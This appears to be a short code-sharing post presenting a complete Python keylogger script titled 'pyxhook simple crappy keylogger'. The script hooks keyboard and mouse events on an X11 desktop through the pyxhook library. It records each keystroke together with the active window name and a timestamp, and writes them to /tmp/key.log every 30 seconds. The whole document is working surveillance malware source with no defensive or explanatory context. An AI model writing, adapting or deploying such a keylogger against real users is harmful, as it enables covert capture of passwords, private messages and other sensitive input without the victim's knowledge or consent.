pyxhook simple crappy keylogger

keylogger.py

#!/usr/bin/python
import pyxhook
import time

keymap = { 'apostrophe': "'",
           'comma': ",",
           'period': ".",
           'space': " ",
           'quotedbl': '"',
           'Return': '\n',
           'exclam': '!',
           'question': '?'}

class FileWriter():
    def __init__(self,logfile):
        print "opening " + logfile
        self.lastwin = ""
        self.f = open(logfile, 'a', 0)
        self.data = ""
        
    def event(self,event):
        win = event.WindowProcName + " " + event.Window
        if (self.lastwin != win):
            self.lastwin = win
            self.addlog("\nwc>>> " + win + " " + time.strftime('%s') + "\n")
        self.event = event

        key = str(event.Key)

        if (key in keymap):
            key = keymap[key]
            
        if (len(key) > 1):
            key = " [" + key + "] "
        self.addlog( key)
        
    def addlog(self,data):
        self.data += data

    def flush(self):
        self.f.write(self.data)
        self.data = ""

fileWriter = FileWriter('/tmp/key.log')
hm = pyxhook.HookManager()
hm.HookKeyboard()
hm.HookMouse()
hm.KeyUp = fileWriter.event
hm.start()

while True:
    time.sleep(30)
    if (fileWriter.data):
        fileWriter.flush()